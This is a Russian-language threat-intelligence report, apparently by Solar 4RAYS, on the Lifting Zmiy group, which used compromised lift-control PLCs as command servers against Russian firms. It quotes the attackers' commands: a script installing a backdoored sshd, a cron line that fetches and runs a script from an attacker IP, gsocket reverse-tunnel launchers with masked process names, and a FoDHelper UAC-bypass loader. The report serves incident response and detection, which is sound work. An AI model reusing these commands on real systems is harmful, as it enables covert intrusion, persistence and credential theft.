Взлом SCADA-Систем и Атаки на Российские Компании By Роман Бетельгейзе Published: 2000-01-01 · Archived: 2026-04-05 12:59:49 UTC В октябре 2023 года в наше поле зрения попала группировка, которую мы назвали Lifting Zmiy. Мы не стали объединять ее с другими “Змиями” (например, с Shedding Zmiy), поскольку считаем, что, хотя цели (российские компании и госорганы) и предположительное происхождение (Восточная Европа) у них совпадают, modus operandi все-таки существенно различается. У Shedding Zmiy обширный часто изменяющийся арсенал из кастомных загрузчиков и бэкдоров, наряду со свободно распространяемыми инструментами. Lifting Zmiy (по крайней мере в проанализированных нами инцидентах) оперирует в основном open-source инструментарием и демонстрирует высокий уровень знания Linux-систем. Кроме того, группировка использовала весьма экзотическую инфраструктуру для серверов управления. Они взламывали ПЛК (программируемые логические контроллеры) для управления и диспетчеризации, которые в том числе используются для управления лифтовым оборудованием и входят в состав SCADA-систем. Группировка внедряла в них код управления своим ВПО, нацеленным уже на основных жертв. Итак, в октябре мы увидели активность группировки ITW (в дикой природе), а уже в декабре 2023 года команду Solar 4RAYS привлекли к расследованию атаки на компанию, которая является подрядчиком российских госорганов. В ходе расследования мы нашли ПО с открытым исходным кодом Reverse SSH, используемое атакующими на этапе постэксплуатации. При анализе образца мы обнаружили сервер управления, по которому с помощью сервисов сканирования интернета удалось определить другие C2-адреса. Мы поставили все сетевые индикаторы на мониторинг и вскоре вышли на другие зараженные организации. В них после проведения исследований удалось найти не только больше образцов ВПО, но и следы использования атакующими инфраструктуры провайдера Starlink. Краткое содержание отчета: Мы обнаружили серию атак на российские госорганизации и частные компании. За ними стоит одна и та же группа, которую мы назвали Lifting Zmiy; Злоумышленники взламывали ПЛК Текон-Автоматика и размещали на них управляющие серверы, используемые в атаках на главные цели; Среди скомпрометированных устройств — входящие в состав SCADA-систем контроллеры, которые в том числе управляют лифтовым оборудованием; Используя определенный паттерн, мы просканировали интернет и обнаружили серию взломанных контроллеров, используемых Lifting Zmiy; Среди жертв - организации из разных отраслей, включая ИТ, телеком, госсектор. Были атакованы как Linux-, так и Windows-системы; Атакующие в своих операциях использовали инфраструктуру провайдера Starlink компании SpaceX. В этом отчете мы расскажем о цепочке расследованных атак, за которыми стоит Lifting Zmiy, разберем используемые группой инструменты, приведем индикаторы компрометации, а также подробнее остановимся на ее инфраструктуре. А если вы увидели подозрительную активность в своей сети и считаете, что тоже стали жертвой хакерской группировки, пишите нам. Эксперты Solar 4RAYS проведут расследование, выявят проблемы и дадут необходимые рекомендации, чтобы защитить вашу инфраструктуру от хакеров. Кейс 1. Reverse SSH и SCADA-системы Впервые с деятельностью Lifting Zmiy мы столкнулись в декабре 2023 года, когда в одном из проукраинских телеграм-каналов была опубликована информация о взломе российской государственной организации. Эксперты Solar 4RAYS участвовали в расследовании инцидента, в результате которого, предположительно, злоумышленники украли данные и уничтожили небольшую часть доступной им инфраструктуры, но не в самом ведомстве, а в одной из его компаний-подрядчиков. В рамках исследования мы установили, что первоначальный доступ к внутренней сети организации взломщики получили в начале 2023 года путём перебора паролей FTP-сервера. Подключение осуществлялось с адреса 45.78.6[.]136 (AS 25820). Это самые ранние сохранившиеся следы атаки. Позже для подключения к инфраструктуре злоумышленники использовали другие адреса, например 45.78.7[.]88 — из пула того же провайдера IT7 Networks, а также ProtonVPN. Важно отметить, что с момента проникновения до начала активных действий по уничтожению инфраструктуры прошло более 11 месяцев. Для закрепления в инфраструктуре группировка использовала Reverse SSH реверс-шелл с командным сервером 176.192.20[.]118:443. Это ВПО с открытым исходным кодом является визитной карточкой Lifting Zmiy. Именно благодаря этому инструменту мы отслеживали активность злоумышленников и узнавали об их новых жертвах. После запуска процесса сам шелл удалялся, чтобы затруднить обнаружение. Другие интересные технические подробности вредоноса описаны в соответствующем разделе. https://rt-solar.ru/solar-4rays/blog/4506/ Page 1 of 21 Кроме упомянутого реверс-шелла, злоумышленники использовали ПО SSH-IT, предназначенное для перехвата вводимых пользователем команд в рамках SSH-сессий. Для очистки журналов ОС Linux также использовался mig-logcleaner — еще один инструмент с открытым исходным кодом. Мы предполагаем, что главной целью злоумышленников являются конфиденциальные данные атакованных организаций. После достижения цели, либо, как в данном случае, при невозможности продвинуться вглубь инфраструктуры, они приступают к деструктивным действиям: удаляют данные в доступных им системах. Интересно, что в ходе поиска следов злоумышленника в инфраструктуре компании, на сервере Exchange мы обнаружили следы другой атаки с использованием уязвимости ProxyLogon. Исследуемый нами сервер был скомпрометирован в начале марта 2021, задолго до Lifting Zmiy. Примерно тогда же на хост было загружено и добавлено в автозагрузку ВПО Shadowpad с командным сервером 198.58.118[.]167. Указанное ВПО часто связывают с группами Blackfly/Grayfly/Winnti (APT41) и Mustang Panda. Поворотным моментом в нашем расследовании стало изучение используемого Lifting Zmiy реверс-шелла и анализ его С2, в ходе которого было установлено, что он был развернут на программно-аппаратном комплексе «Концентратор универсальный КУН-IP8». Баннер веб-интерфейса устройства КУН-IP8 на 80 порту Оборудование Текон-Автоматика Как следует из быстрого поиска по открытым источникам, производством контроллера КУН-IP8 занимается компания Текон-Автоматика. Из общедоступного описания следует, что она специализируется на разработке автоматизированных систем управления и диспетчеризации, которые используются в том числе в конструкции лифтов. Поэтому внутри нашей команды группировка проходила под кодовым названием “лифтеры”. После обнаружения первого С2 на одном из таких ПЛК (КУН-IP8) мы занялись поиском и анализом других публично развернутых контроллеров. В ходе такого исследования было обнаружено свыше десятка зараженных устройств (детали можно найти ниже), а также другая модель атакуемого контроллера — КИО-2M(R)S. Прошивка для этих устройств является универсальной и функционирует на базе ядра Linux, что вкупе с возможностью написания кастомных LUA-плагинов предоставляет злоумышленнику широкие возможности для эксплуатации данного оборудования. О подобной атаке (повышения привилегий на устройстве до root) ИБ-эксперт Хосе Бертин написал в своём посте еще в марте 2022 года. Вот основные выводы из его исследования: более 100 единиц эксплуатируемого оборудования обнаруживаются простыми запросами в публичных сервисах пассивного сканирования; на момент публикации исследования, учетные данные администратора по умолчанию были размещены в технической документации к оборудованию на официальном сайте Текон-Автоматика; на многих устройствах учетные данные по умолчанию не менялись после первичной настройки оборудования, что предоставляет доступ с правами администратора (не root). https://rt-solar.ru/solar-4rays/blog/4506/ Page 2 of 21 Учетные данные по умолчанию в документации к оборудованию Впоследствии Текон-Автоматика отреагировала на это и удалила учетные данные из публичного доступа на официальном сайте, но: для оборудования существует модуль загрузки и выполнения кастомных плагинов LUA-сценариев; LUA-плагины запускаются с правами root, это дает возможность выполнять любые bash-команды с правами суперпользователя, что может являться серьезным недостатком системы безопасности продукта. Как видно из публикации, при соблюдении администраторами устройств простых правил цифровой гигиены, например, смены учетных данных по умолчанию, можно как минимум усложнить злоумышленникам доступ к уязвимым функциям прошивки. Мы полагаем, что в ходе атаки Lifting Zmiy воспользовались публично размещенной информацией о несовершенствах безопасности устройств Текон-Автоматика и проэксплуатировали имеющиеся уязвимости системы для размещения на них С2 серверной части, используемой в дальнейших атаках на свои главные цели. Кейс 2. SSHD Backdoor В результате анализа командных серверов злоумышленников, размещенных в скомпрометированных SCADA-системах, мы выделили паттерн, при помощи которого смогли обнаружить другие предполагаемые С2-серверы: 79.120.62[.]218 79.111.117[.]174 79.111.233[.]34 176.192.57[.]122 - из найденного образца Reverse SSH Благодаря этому открытию была установлена новая жертва злоумышленников — телеком-оператор, из сети которого несколько серверов обращались к одному из С2. Группировка проникла в инфраструктуру оператора также путем перебора паролей. Это произошло в сентябре 2023. Успешное подключение осуществлено с адреса 45.78.7[.]88. Продвижение по внутренней сети было легкой задачей для атакующих, так как администраторы использовали словарные пароли небольшой длины (менее 8 символов). В ходе расследования этого инцидента мы обнаружили новые образцы Reverse SSH, которые маскировались под легитимные процессы devd. Образцы были размещены в стандартной директории /sbin, а после запуска удалялись: Среди прочего мы обнаружили забэкдоренный сервис sshd в виде модифицированного файла sshd и библиотеки libprivatessh.so.5. Назначение бэкдора и детальное описание его функций можно найти ниже. Вредоносные файлы доставлялись на систему вместе со скриптом deploy.sh. Данный сценарий замещал оригинальные легитимные файлы на пропатченные забекдоренные аналоги: mv /usr/sbin/sshd /usr/sbin/sshd.orig cp sshd /usr/sbin/ mv /usr/lib/libprivatessh.so.5 /usr/lib/libprivatessh.so.5.orig cp libprivatessh.so.5 /usr/lib/ touch -r /usr/sbin/sshd.orig /usr/sbin/sshd touch -r /usr/lib/libprivatessh.so.5.orig /usr/lib/libprivatessh.so.5 https://rt-solar.ru/solar-4rays/blog/4506/ Page 3 of 21 mkdir /var/mail/... service sshd restart Мы предполагаем, что здесь целью Lifting Zmiy в первую очередь был доступ к данным. Как и в первом кейсе, с момента проникновения в инфраструктуру до запуска злоумышленниками различного ВПО и установки бэкдоров прошло несколько месяцев. Это может быть связано с приобретением и аккумуляцией доступов злоумышленниками. Кейс 3. Телеком снова под ударом Нам известно и о других атаках Lifting Zmiy на региональных телеком-операторов в январе-феврале 2024 года.Напрямую мы не участвовали в расследовании этих инцидентов, но провели исследование связанных с ними артефактов. Как и в первых двух описанных случаях, сервером управления являлся заражённый контроллер КУН-IP8, но с новым С2 - 79.120.38[.]38. Для получения первоначального доступа использовался перебор паролей с уже известных нам подсетей провайдера IT7 Networks, а также адреса ProtonVPN. Закрепление на скомпрометированных хостах организовывалось путём модификации легитимных cron-задач, например, добавлением Base64-закодированной строки в файл /etc/cron.daily/logrotate: #!/bin/sh echo d2dldCBodHRwOi8vMTA0LjI1NS42Ni4xMzkvPHJlZGFjdGVkPi5odG1sICAtTyAvdmFyL3RtcC9scjEuc2ggOyBiYXNoIC92YXIvdG1wL2xyMS5zaCA7I /usr/sbin/logrotate /etc/logrotate.conf >/dev/null 2>&1 EXITVALUE=$? if [ $EXITVALUE != 0 ]; then /usr/bin/logger -t logrotate "ALERT exited abnormally with [$EXITVALUE]" fi exit 0 Закодированная строка выполняет загрузку и последующий запуск bash-сценария: wget http://104.255.66[.]139/.html -O /var/tmp/lr1.sh ; bash /var/tmp/lr1.sh ; rm -f /var/tmp/lr1.sh В рамках исследования открытых директорий на сервере злоумышленников 104.255.66[.]139 по пути “/i/block.txt” была обнаружена другая полезная нагрузка: /usr/bin/pkill -0 -U0 defunct 2>/dev/null || SHELL=/bin/bash TERM=xterm-256color GS_ARGS="-k /usr/bin/defunct.dat -liqD" /bin/bash -c "exec -a '[mm_percpu_wq]' '/usr/bin/defunct'" 2>/dev/null В скрипте /usr/bin/defunct — это утилита gs-netcat из репозитория gsocket, она используется для создания туннелей и обхода ограничений фаервола. Также примечателен способ маскирования имени процесса при помощи команды “exec -a”, выполняющей замену нулевого аргумента при запуске процесса — таким образом, в списке процессов будет отображаться [mm_percpu_wg]. Кейс 4. Starlink В феврале 2024 года к нам обратилась ИТ-компания после того, как на компьютере системного администратора появилось диалоговое окно с входящей RDP-сессией. Так как источником подключения выступал Linux-сервер, администратор сразу забил тревогу, и мы взялись за расследование. И хотя в рамках данного кейса не было обнаружено следов использования Reverse SSH, мы нашли небольшую, но интересную зацепку. Злоумышленники в один день подключались к инфраструктуре из кейса №2 и №4 с одного и того же IP-адреса 45.78.7[.]88. Есть небольшая вероятность, что в момент подключения адрес мог использоваться, как публичный прокси-сервис или VPN, и соединения с него в инфраструктуры обеих жертв — действия разных атакующих. Однако, согласно публичной информации из AbuseIPDB, IP-адрес и ранее был замечен в немногочисленных атаках типа SSH brute force против систем преимущественно из России. Суммируя вышесказанное, мы связываем эту атаку с группой Lifting Zmiy cо средней уверенностью. Первоначальный доступ к инфраструктуре жертвы был получен путем успешного перебора паролей к FTP-сервису в феврале 2023 года, к активным действиям злоумышленники перешли в конце лета 2023. Они загрузили SSH-ключ в доступную на запись домашнюю директорию пользователя с последующим подключением под этим пользователем по SSH. Для продвижения по инфраструктуре злоумышленники использовали различные публично доступные инструменты: https://rt-solar.ru/solar-4rays/blog/4506/ Page 4 of 21 ssh-snake - червь, использующий SSH-ключи с зараженных машин для дальнейшего продвижения. Инструмент был опубликован на GitHub в начале 2024 года и активно используется различными злоумышленниками; kerbrute - утилита для перебора учётных записей в Active Directory, использующих для аутентификации протокол Kerberos. Responder - утилита для проведения атак типа MiTM с поддержкой различных методов аутентификации в Windows; proxychains3 - ПО для проксирования трафика; crackmapexec - обширный набор инструментов для проведения целого ряда атак на Windows/AD-инфраструктуру; Empire-агент - агент фреймворка Empire, предоставляющий обширный набор инструментов для постэксплуатации. С целью перехвата паролей пользователей злоумышленники добавляли в конфигурационные файлы оболочки Bash функцию sudo следующего вида: Таким образом, при вызове команды “sudo” введенный пользователем пароль записывается в файл /tmp/.font-unix/.font-data и отправляется в закодированной base64-строке на сервер, указанный в параметрах утилиты curl. Для получения паролей на сервере из параметра curl злоумышленник запускал веб-сервер “http.server” из стандартного набора библиотек Python. Согласно собранной нами информации о списке IP-адресов, с которых Lifting Zmiy подключались к инфраструктуре жертв, изначально использовались различные VPN- и VPS-ресурсы (ProtonVPN, ruvps.net, weasel.cloud). Но в конце декабря 2023 в списке адресов начал фигурировать провайдер Starlink: 145.224.121[.]64        AS 14593 (SPACEX-STARLINK) UA 145.224.123[.]25        AS 14593 (SPACEX-STARLINK) UA 145.224.123[.]55        AS 14593 (SPACEX-STARLINK) UA 209.198.130[.]120      AS 14593 (SPACEX-STARLINK) UA Эти IP-адреса, согласно информации из Whois, принадлежат компании SpaceX и используются для предоставления спутникового интернета через терминалы Starlink. Техническое описание ВПО Reverse SSH MD5 e68a4c4969eb6a3bd14d68a2095ea212 SHA1 e2ea2a3c5e2538cdd6ea97452d9ea291afb1eff1 SHA256 2555ca7597171a0fc8ff75015e7e1d03c7ca5a632907640de65c6084d635b3a9 File name 176.192.20.118 https://rt-solar.ru/solar-4rays/blog/4506/ Page 5 of 21 File type ELF 64-bit LSB executable File size 7.89 MB Source code https://github.com/NHAS/reverse_ssh Опустим детальное описание функционала Reverse SSH, так как это ПО с открытым исходным кодом, но остановимся на его основных функциях и особенностях, которые мы отметили при изучении обнаруженных в дикой природе (ITW-образцов): реализация reverse shell по протоколу SSH; кроссплатформенность; встроенный функционал доставки файлов на хост-клиент посредством SCP и SFTP; возможность встраивания адреса сервера управления и кастомного fingerprint в исполняемый файл клиента при самостоятельной сборке и компиляции исходного кода; возможность загружать и запускать исполняемые файлы бесфайловым методом (вызов memfd) как с сервера управления RSSH, так и с любого веб-ресурса. На момент нашего исследования ITW были обнаружены образцы двух версий: v2.1.5 (от 04.08.2023) и v2.4.1 (от 30.11.2023). Из интересных отличий — коммит “Make webserver look like nginx” (от 13.09.2023): Добавленный функционал позволяет маскировать активный сервер управления Reverse SSH от различных сервисов пассивного сканирования и исследователей, выдавая при обычном GET-запросе баннер легитимного веб-сервера Nginx с кодом ошибки 404. C2 сервер Reverse SSH, замаскированный под Nginx Отдельно стоит отметить, что для инициализации сетевого соединения С2 отправляет клиенту Public Key, который можно увидеть в сетевом трафике. https://rt-solar.ru/solar-4rays/blog/4506/ Page 6 of 21 Public Key сервера при инициализации соединения с клиентом Reverse SSH Для проверки публичного ключа С2-сервера в каждый образец жестко закодирован fingerprint, который является SHA256-значением соответствующего ключа. Захардкоженный в образец Fingerprint публичного ключа Кроме версий Reverse SSH под Linux, мы также обнаружили следы атаки на Windows-системы. По-видимому, она произошла не ранее октября 2023 года (регистрация вредоносного домена), но не позднее февраля 2024 года (подтвержденный факт доступности). Атака начиналась с HTA-файла “document.docx.exe” ( MD5: 86f49b35cab2b9ccf7fa306a3067dbde ), который загружался на хост жертвы с адреса: http[://]91.92.248[.]36/Downloads/document.docx.exe Основное содержимое файла – это мусорные данные для затруднения анализа, среди которых находился обфусцированный js-скрипт для перехода к следующему этапу загрузчика: Первый этап загрузчика Первый этап загрузчика раскодирует встроенный PS-сценарий, который, в свою очередь, дешифрует base64 строку, зашифрованную алгоритмом AES, где в качестве ключа и IV берутся следующие значения: KEY = base64(“Y0xDa3dTclhNQk9jWU9SQllhU2NFcmltZ1pWVUJUbFc”) IV = base64(“AAAAAAAAAAAAAAAAAAAAA”) Второй этап загрузчика После расшифровки содержимого строки извлекается алгоритмом gzip и запускается следующий встроенный PS-сценарий. Данный этап загрузчика включает в себя несколько модулей для обхода защитных средств ОС Windows, таких как UAC и Windows Defender. В первую очередь, в директорию "%TMP%\r.bat" записывается batch-сценарий, добавляющий в исключения Windows Defender директорию “%AppData%” : https://rt-solar.ru/solar-4rays/blog/4506/ Page 7 of 21 Запись r.bat в директорию %TMP% Далее, используя раздел реестра CurVer , вредонос ссылается на создаваемый программный идентификатор (ProgID) с именем “ ServiceHostXGRT ” и значением “ FoDHelper.exe ”. Данная техника позволяет процессу FoDHelper.exe (LoLBin) выполнить batch-сценарий, прописанный в ветке реестра HKEY_CURRENT_USER\Software\Classes\ServiceHostXGRT\Shell\Open\Command , с повышенными привилегиями в обход UAC. После запуска FoDHelper.exe созданные ключи реестра удаляются, чтобы избежать обнаружения. Команды для запуска FoDHelper.exe c последующим удалением следов Далее с адреса hxxp[://]sensor[.]fun/tiago.exe на хост жертвы загружается полезная нагрузка Reverse SSH и сохраняется в %AppData%\tiago.exe : MD5 41b99b0770f01afbd80481fb6f811bcc SHA1 58ee2fb1672b3af2db7997bb91cf3ab138d801e1 SHA256 d457b15dfcdd6669d60af6d96f56757674b6f0fbba11999f76f47e03bd635d09 File name tiago.exe File type PE32+ executable (console) x86-64 File size 10.9 MB Source code https://github.com/NHAS/reverse_ssh В эту же директорию с адреса hxxp[://]urler[.]site/Scan_Zakaz_1416-02-24_13-02-2024.jpg загружается decoy-изображение. https://rt-solar.ru/solar-4rays/blog/4506/ Page 8 of 21 Изображение-приманка После чего, перезаписывая " %TMP%\r.bat " и используя упомянутую ранее технику обхода UAC, запускается полезная нагрузка tiago.exe Reverse SSH и открывается decoy-изображение: Запуск полезной нагрузки За время проведения расследований нам встречались образцы со следующими фингерпринтами: 9f56fc5b5f60be1030e20bbf2c03ad147e645dc6181d9707dc4b0aa6345a5ac3 6a887ea19b8c6d01d2f2a746317e7f9ee76cd840f00d19b37f28e5082ca4e4ba 8f55c349bc7b34c2ea0ad283836a58c3206416adcdb8cb92e0921198725d05d4 4552d556f3fd4684d8f0da01d3da4505bdceed99b940aacde305c3d4eee66803 Таким образом, сэмплы, содержащие в себе такие fingerprint-ы, можно с уверенностью относить к Lifting Zmiy. SSH-бэкдор На системах жертвы мы обнаружили два образца пробэкдоренных легитимных бинарных файлов SSH — sshd и libprivatessh.so.5 . Атакующие заменяли ими соответствующие легитимные версии, чтобы обеспечить через них удаленное SSH-подключение к целевой машине. MD5 1c2c53c430f54f59045c63c02fe774fd SHA1 13199beae514d13cf50365678a2a015166912725 https://rt-solar.ru/solar-4rays/blog/4506/ Page 9 of 21 SHA256 cab22ba432a65c7db751e22a42f8a2079d3810312b24ecacccfd371bf514fe2d File name sshd File type ELF 64-bit LSB executable File size 271.93 kB Основной функционал внедренной самописной бэкдор-части кода состоит в следующем: успешно авторизовать подключение, если MD5-хэш пароля, введенного пользователем, совпадает с жестко захардкоженным в бэкдор значением; если же значения MD5 не совпадают, бэкдор запишет введенные имя пользователя и пароль в локальный файл. Слева – бэкдорный вариант, справа – оригинальная реализация функции auth_password из sshd Функционал реализован за счет вредоносных функций, дописанных в бэкдорные варианты sshd и libprivatessh.so. В функции mw_backdoored_check_pass_md5_and_set_unicorn вычисляется MD5 пароля, введенного при аутентификации, и сравнивается с жестко закодированным значением d848c0fb4a838e85130db48661b742f1: Если значения совпадают, то: устанавливается значение переменной g_options_permit_root_login = PERMIT_YES, позволяя таким образом аутентифицироваться из-под учетной записи root; вызывается функция sshlog_su (такой функции нет в оригинальной библиотеке) из libprivatessh.so, где устанавливается переменная unicorn = 1 (флаг успешной авторизации). MD5 723dfe3dc3e74d16809700b5ece2b28a https://rt-solar.ru/solar-4rays/blog/4506/ Page 10 of 21 SHA1 5419d3907fbe5e08c8e92bfb9e7d13598624c37e SHA256 170e5dfe925e4065189a3708f3e565627b4def57bca550ad9c2a30f8c5a4c7f6 File name libprivatessh.so.5 File type ELF 64-bit LSB executable File size 679.05 kB Если же значения не совпадают, то введенный пароль копируется в выделенный буфер. Далее вызывается функция mw_backdoored_save_ssh_creds_for_non_owner_users . Ее назначение — запись имен и паролей пользователей, которые не являются owner (то есть unicorn != 1), в файл "/var/mail/.../..". При этом могут быть записаны невалидные для аутентификации пароли, так как проверка пароля происходит после записи учетных данных в файл. Перед записью в файл данные шифруются с помощью xor на ключе d848c0fb4a838e85130db48661b742f1 в следующем формате: \:\\n Где шифруются только значения \:\\n Global Socket Это еще одно ПО с открытым исходным кодом, основная задача которого — построение TCP-соединений, обходящих NAT\Firewall через облачный сервис Global Socket Relay Network (GSRN – 135.125.107[.]221) посредством предоставления источнику и жертве одной и той же строки-секрета. Таким образом, кроме обхода различных средств сетевой безопасности, использование данного ПО позволяет скрыть реальный сервер управления злоумышленников. MD5 bf0aa35ce8ce1ef1155607e57e0227c3 SHA1 223d99f7f0c90d8b4eeace2ac59a71b8a1f410a6 SHA256 cb5f62bf7b591e69bd38e6bf8e40e8d307d154b2935703422d44f02e403d2e78 File name gs-dbus File type ELF 64-bit LSB executable https://rt-solar.ru/solar-4rays/blog/4506/ Page 11 of 21 File size 1.07 MB Source code https://github.com/hackerschoice/gsocket ПО имеет модульную архитектуру. Приведем краткое описание основных возможностей: Модуль gs-sftp – встроенный функционал доставки файлов на хост-клиент посредством SFTP. Модуль gsocket: построение SSH-соединений сервер-клиент; возможность создавать OpenVPN-сессии между двумя хостами за NAT\Firewall. Модуль gs-mount предоставляет доступ к удаленной файловой системе клиента. Модуль gs-netcat обладает внушительным перечнем возможностей и функций, основные из них: шифрование трафика AES-256; создание Socks4/4a/5 прокси-сервера; интерактивный шелл. В ходе нашего расследования мы обнаружили это ПО, развернутое на системах жертвы в виде сервисов: [Unit] Description=D-Bus System Connection Bus After=network.target [Service] Type=simple Restart=always RestartSec=10 WorkingDirectory=/root ExecStart=/bin/bash -c "GS_ARGS='-k /lib/systemd/system/gs-dbus.dat -ilq' exec -a '[kcached]' '/usr/bin/gs-dbus'" [Install] WantedBy=multi-user.target Указанный .dat-файл содержит secret-строчку для взаимодействия с сервером управления: DezUhLM7JJ2oA9GWptSBsw Инфраструктура Проанализировав найденные сэмплы Reverse SSH, мы извлекли соответствующие адреса С2, которые указывали на зараженные ПЛК Текон-Автоматика. Используя обнаруженный паттерн, мы нашли больше управляющих серверов на скомпрометированном оборудовании: C2 ASN Начало активности 79.120.62[.]218 AS12714 декабрь 2023 79.111.117[.]174 AS12714 декабрь 2023 79.111.233[.]34 AS12714 декабрь 2023 https://rt-solar.ru/solar-4rays/blog/4506/ Page 12 of 21 79.120.38[.]38 AS12714 январь 2024 176.192.20[.]118 AS12714 декабрь 2023 176.192.57[.]122 AS12714 март 2024 176.192.49[.]226 AS12714 март 2024 176.192.114[.]82 AS12714 январь 2024 188.35.20[.]137 AS42148 апрель 2024 178.213.207[.]91 AS42498 апрель 2024 178.173.26[.]69 AS47759 декабрь 2023 46.160.189[.]123 AS41560 апрель 2024 46.160.189[.]124 AS41560 апрель 2024 89.22.156[.]31 AS49893 апрель 2024 178.22.51[.]74 AS44943 июнь 2024 176.107.13[.]143 AS42998 декабрь 2023 Также в результате пассивного сканирования мы обнаружили инфраструктуру, похожую по конфигурации на серверы управления Reverse SSH. Правда, они были размещены уже не на оборудовании Текон-Автоматики: https://rt-solar.ru/solar-4rays/blog/4506/ Page 13 of 21 C2 ASN Начало активности 158.160.5[.]218 AS200350 май 2024 206.119.171[.]140 AS133199 май 2024 108.181.165[.]94 AS40676 май 2024 179.60.149[.]42 AS395839 апрель 2024 179.60.149[.]78 AS395839 апрель 2024 194.190.152[.]129 AS41745 февраль 2024 176.120.67[.]40 AS44477 апрель 2024 Всего мы обнаружили 23 C2-сервера. На конец июня 2024 года 14 из них были активны. Из этих 14 серверов восемь были развернуты на взломанных ПЛК. Анализируя pDNS-данные С2-серверов, мы обнаружили домен sensor[.]fun , который резолвится в IP-адреса найденной инфраструктуры Lifting Zmiy. Домен зарегистрирован 2023-09-29 и по крайней мере 2024-02-28 с него раздавался образец Reverse SSH ( hxxp://sensor[.]fun/tiago[.]exe - MD5: 41b99b0770f01afbd80481fb6f811bcc ). IP Первый резолв 176.192.49[.]226 2024-06-14 195.158.232[.]2 2024-06-14 89.22.156[.]31 2024-04-10 178.22.51[.]74 2024-06-14 https://rt-solar.ru/solar-4rays/blog/4506/ Page 14 of 21 46.160.189[.]123 2024-06-14 178.213.207[.]91 2024-06-14 46.160.189[.]124 2024-06-14 Для поиска С2-серверов Reverse SSH мы использовали специальные правила сканирования в нашем внутреннем хантинг-сервисе. Логика этих правил сводится к выполнению определенной комбинации следующих условий: TLS-сертификат, содержащий в CN-значение *ip*:443 (*.*.*.*:443); Наличие на 443 порту баннера веб-сервера Nginx, возвращающего ошибку 404. Это обусловлено функционалом Reverse SSH: “Make webserver look like nginx”; Для серверов, расположенных на ПЛК Текон-Автоматика, HTML Title должен содержать соответствующие подстроки, например, “Контроллер инженерного оборудования *” или “Концентратор универсальный*”. Далее необходимо провалидировать результаты сканирования путем SSH-коннекта. Искомый С2-сервер при попытке соединения на 443 порт, будет предлагать принять его публичный ключ, механизм которого описан выше: Таким образом, если сервер отдает фингерпринт публичного ключа при обращении на 443 порт, с высокой долей вероятности он является очередным С2-сервером Reverse SSH. Атрибуция С самого начала исследования у нас практически не было сомнения в том, что группа происходит из Восточной Европы, так как атакующие публично взяли на себя ответственность за взлом организации из первого кейса в одном из своих телеграм-каналов. Согласно whois-записи одного из доменов, используемого Lifting Zmiy для распространения своего ВПО, он был зарегистрирован с помощью украинского регистратора: https://rt-solar.ru/solar-4rays/blog/4506/ Page 15 of 21 Кроме того, важной частью расследования кейса №4 стало обнаружение интересной подсети IP-адресов, с которых велись подключения злоумышленников к инфраструктуре жертвы. Whois-запись IP адреса, с которого осуществлялось подключение атакующих Согласно Whois записям обнаруженных IP-адресов, они относятся к провайдеру Starlink Services, LLC, который является подразделением компании SpaceX и предоставляет услуги широкополосного спутникового интернета по всему миру. Заключение На момент нашего исследования группа Lifting Zmiy по-прежнему проявляет высокую активность. Используя внутренние хантинг-системы, мы постоянно находим новые элементы их инфраструктуры. Несмотря на использование злоумышленниками широкого набора различных публично доступных инструментов при проведении атак, Lifting Zmiy демонстрирует достаточно высокий уровень понимания принципов функционирования ОС Linux, умело скрывая развернутое ВПО. В расследованных нами кейсах инфраструктуру взламывали путем обычного перебора паролей. Сложно сказать, самостоятельно ли Lifting Zmiy накапливали доступы в разные организации или купили их у злоумышленников, промышляющих продажей скомпрометированных учетных данных. Но во всех случаях с момента первоначальной компрометации и до начала активных действий проходило много времени (иногда несколько месяцев). Это может указывать на то, что учетные данные все-таки были приобретены группировкой у третьих лиц. Мы визуализировали на таймлайне наиболее значимые инструменты, техники и объекты сетевой инфраструктуры Lifting Zmiy, по которым выстроили пересечения между инцидентами в расследованной цепочке атак. https://rt-solar.ru/solar-4rays/blog/4506/ Page 16 of 21 Основная цель Lifting Zmiy — хищение чувствительных данных. Если же интересующая информация уже получена либо группа понимает, что продвинуться дальше по инфраструктуре у них не получится, они приступают к уничтожению инфраструктуры, как это было в первом кейсе. В целом использованный группой инструментарий и получение доступа путём перебора паролей в очередной раз подчеркивает необходимость внедрения, а главное, соблюдения базовых принципов информационной безопасности, таких как строгие парольные политики, двухфакторная аутентификация и другие. IOCs С2 213.87.14[.]102 104.255.66[.]139 79.120.62[.]218 79.111.117[.]174 79.111.233[.]34 176.192.57[.]122 176.192.49[.]226 195.158.232[.]2 89.22.156[.]31 178.22.51[.]74 46.160.189[.]123 178.213.207[.]91 46.160.189[.]124 158.160.5[.]218 206.119.171[.]140 108.181.165[.]94 179.60.149[.]42 179.60.149[.]78 194.190.152[.]129 176.120.67[.]40 79.120.38[.]38 176.192.20[.]118 176.192.114[.]82 188.35.20[.]137 178.173.26[.]69 176.107.13[.]143 urler[.]site localzilla[.]fun sensor[.]fun Адреса Global Socket Relay Network Примечание: адреса ниже добавлены в качестве индикаторов, так как их использует ПО gsocket, которое по нашим данным не эксплуатируется в легитимных целях. https://rt-solar.ru/solar-4rays/blog/4506/ Page 17 of 21 135.125.107[.]221 192.145.44[.]201 75.119.130[.]76 213.171.212[.]212 Используемая инфраструктура Примечание: ниже представлен список IP-адресов, с которых наблюдались удаленные подключения Lifting Zmiy к скомпрометированной инфраструктуре. Такие адреса зачастую относятся к общедоступным публичным сервисам, поэтому их нельзя напрямую атрибутировать к группе и заносить в стоп-листы, но можно поставить на мониторинг. 104.255.68[.]20 104.255.68[.]70 138.199.53[.]226 138.199.53[.]231 145.224.121[.]64 145.224.123[.]25 145.224.123[.]55 146.70.161[.]163 154.47.19[.]194 156.146.50[.]1 156.146.55[.]226 165.231.178[.]25 176.96.226[.]227 176.96.226[.]243 176.96.226[.]245 178.213.207[.]9 185.183.33[.]220 188.120.228[.]112 194.190.152[.]81 195.14.123[.]51 209.198.130[.]120 216.131.109[.]143 45.153.231[.]21 45.78.6[.]136 45.78.7[.]135 45.78.7[.]88 5.8.16[.]170 5.8.16[.]236 62.112.9[.]165 82.118.29[.]80 84.252.114[.]1 85.132.252[.]35 85.203.39[.]227 87.249.133[.]98 89.39.107[.]200 91.90.123[.]179 92.63.100[.]23 94.137.92[.]1 98.159.226[.]65 98.159.226[.]72 98.159.226[.]73 98.159.226[.]78 File hashes MD5 723dfe3dc3e74d16809700b5ece2b28a 1c2c53c430f54f59045c63c02fe774fd bfce45ed17f9b778a7e2b1f4832c0ea5 728e9466e1c57fcba49d7d14a95ab851 bf0aa35ce8ce1ef1155607e57e0227c3 86f49b35cab2b9ccf7fa306a3067dbde 41b99b0770f01afbd80481fb6f811bcc https://rt-solar.ru/solar-4rays/blog/4506/ Page 18 of 21 0abcc1d8d85c160a8e6b714045d028ca 